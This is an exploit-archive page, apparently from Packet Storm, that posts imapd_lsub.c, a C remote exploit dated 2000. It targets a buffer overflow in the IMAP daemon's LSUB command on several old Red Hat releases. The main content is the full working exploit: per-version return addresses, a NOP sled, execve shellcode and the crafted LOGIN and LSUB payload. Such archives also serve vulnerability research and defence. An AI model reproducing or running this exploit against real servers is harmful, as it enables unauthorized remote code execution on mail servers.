exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

imapd_lsub.c

imapd_lsub.c
Posted Mar 4, 2001
Authored by Narrow | Site zone.ee

Imapd v12.264 remote exploit for Red Hat - Exploits an overflow in the LSUB command, which requires an account. Tested on Red Hat 5.1, 5.2, 6.0, 6.1, and 6.2 with IMAP4rev1 v10.223, v11.241, v12.250, and v12.264.

tags | exploit, remote, overflow
systems | linux, redhat
SHA-256 | 1542948361aa96f2782cdf5b46132faf343b4b47b03acc2ca5766e95cbac1002

imapd_lsub.c

Change Mirror Download
/* Exploit by Narrow <nss@privacyx.com>  (29 September 2000) */

#include <stdio.h>
#include <string.h>

struct types {
char *imapver;
unsigned long ret_addr;
int offset;
};

struct types types[] = {
{"Red Hat 6.2 - IMAP4rev1 v12.264",0xbffff2c8,0},
{"Red Hat 6.1 - IMAP4rev1 v12.250",0xbffff2c4,0},
{"Red Hat 6.0 - IMAP4rev1 v12.250",0xbffff2f0,0},
{"Red Hat 5.2 - IMAP4rev1 v11.241",0xbffff320,0},
{"Red Hat 5.1 - IMAP4rev1 v10.223",0xbffff31c,0},
{NULL,0,0}
};

char shellcode[] = /* shellcode from imapx.c */
"\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80\x46\x03\x30"
"\x80\x46\x05\x30\x80\x46\x06\x30\x89\xf0\x89\x46\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff"
"\x2f\x32\x39\x3e\x2f\x43\x38";

int main(int argc, char **argv)
{
char buf[1064];
int i,type;

if(argc < 3) {
printf("Usage: %s <username> <password> <type>\n\n", argv[0]);
printf("Type:\n");
for(i=0; i<=4; i++) printf("%d - %s\n", i, types[i].imapver);
return 0; } type = atoi(argv[3]);
memset(buf, 0x90, 1032);
memcpy(buf+613, shellcode, strlen(shellcode));
for(i=strlen(shellcode)+613; i<=1064; i+=4)
*(long *)&buf[i] = (unsigned long)types[type].ret_addr - types[type].offset;
printf("1 LOGIN %s %s\r\n", argv[1], argv[2]);
printf("1 LSUB \"\" {1064}\r\n");
for(i=0; i<1064; i++) putchar(buf[i]);
printf("\r\n");
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close